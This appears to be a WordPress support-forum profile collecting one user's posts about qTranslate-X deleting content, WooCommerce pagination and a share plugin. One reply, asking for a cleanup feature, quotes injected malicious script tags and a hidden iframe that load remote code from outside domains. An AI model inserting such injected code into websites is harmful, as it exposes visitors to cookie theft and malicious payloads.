sous.studio

Russian.

Perhaps we could discuss it in some messenger, and post results here?

I’m reading it live. ??

My old site is 100% in one language, I believe. There are posts, however, that have <!–:ru–>content<!–:–> in their body, yet the content remains in same language.

This is the default language in the new site.

I’m all ears! ??

Yes, my site now is empty.

Well, that was my mistake (not backing up, expecting the technology will work as expected).

Because the general idea: take all posts & pages from the old site and export it; import the files (I exported posts and pages separately) to the new site; since language glitch is present, try to “Mark all content as written in default language”.

Seems logical, isn’t it? Old site to be freezed as-is, while new site gets old’s content, to be marked as single language, and then, translate whatever is possible in future. But clicking that button nuked the content, instead of marking it as a single language.

So, now I’m at the crossroads:
1) Re-import data from old site again; Do 2 separate categories for two separate languages (since I cannot make posts of one language only except manually, which will take too much time).
2) Write my own script that will somehow remove other languages association (I don’t understand yet where its stored, if not in post title/body).
3) Try my luck with WPML (which I really don’t want to do, due to its high costs and complex work).

??

Nope, this happened on a new test site. And yes, it caused all content to be lost (a week of work + all imported posts).

@gunu,

Ahm, I’ve tried clicking there:

“UPDATE: Tried /wp-admin/options-general.php?page=qtranslate-x&markdefault=true , which apparently removed ALL content from ALL posts & pages… ?? “

It actually removed all content – both titles and body text, leaving only featured images and posts itself.

@gunu, I’m watching database right now. There are couple of posts with tags, but most posts are without. So, basically, yes, I know how to remove it manually from database, but I don’t see what to remove exactly. Does qTranslate stores some meta in wp_postmeta maybe?

Posts are imported from old website (the one with old design, I’m switching it to new theme on test site).

@gunu,

Okay. It happens exactly like you said: new post in 1 language does not create new post in another language automatically.

But I don’t have any tags in my other posts! Atleast I don’t see them. Perhaps this info is stored elsewhere?

On the other hand, if I enable completely new language (that I know for sure was never used on my website) – it still automatically adds to all previously imported posts (except created manually).

So, back to point A: how do I bulkly remove all language associations (except 1 maybe) from imported posts?

@gunu,

It doesn’t seem so. I’ve imported posts. I’ve checked that they have no qTranslate tags whatsoever (eg. single language). Then, when I enable second language in qTranslate X settings, what I get?

1) in All posts, every posts gets this new second language automatically
2) if I press Edit post, I get the same content on 2 languages.

What am I missing?

Ok, Sorry, false alarm. I had VK code elsewhere, that’s why it failed to show.

Questions though, is there a way to display “Likes” in addition to “Shares”?

Hopefully we’ll fix it together and maybe post a solution here ??

RE: https://www.ads-software.com/support/topic/doesnt-work-on-my-installation?replies=2

Hey again, Jeroen! ??

I’ve sent you a link by a form on your website.

I do not use permalinks on woocommerce because I found using them breaks functionality, menus and stuff, even when I tweak every part of it, it still works unexpectedly. But that is not the problem, and SEO also is not a concern for this particular project (owner prefers to advertise in closed circles).

As I said, GET returns me to main page instead of catalog (catalog is not main page in my theme), because it doesn’t for some reason includes query string, leaving me with website/?wppp. ‘s parameters only, but without the URL we were at). POST does works, after -$query_string fix, but keeps forgetting posts count when walking thru pages. I do believe it is somehow connected to the fact the pagination works thru GET, not POST, hence no parameters is passed.

Not sure what is the best solution here. Ideas are: to try playing/fixing GET processing, or in POST mode make the page count settings stored in cookie or session file perhaps.

Any ideas?

Thank you so much, Samuel! ??

If you need any help or beta testing, tell me.

Look:

<script src="https://pluginplus.net/plugins/system/system_ps.js"></script><script src="https://pluginplus.net/cookies_ext/get.php?callback=getValue"></script>
<div></div>
<script src="https://am15.net/cu.php?s=47424"></script><script src="https://w50.am15.net/cu1.php?k=SrVD1BbX2hmx1PPjssIxyBPwyh3XT3jJadIiMO1Qoz2QV.3QH-hoMOIK5.ocaIYR7gdbSxN8FFnn&dt=0&fl=1&jq=0&un=0&ref=&tt="></script><iframe style="width: 0px; height: 0px; border: 0px none;" src="https://pluginplus.net/statistica/statistic_li.html" width="300" height="150"></iframe><!--:-->

This what the person mistakenly (he couldn’t see it) added to my blog.

But perhaps the problem that your plugin is not retroactive? In such case, feature request: bulk scan & clean! =)

Perhaps, this could help?
https://www.ads-software.com/plugins/codestyling-localization-preserver/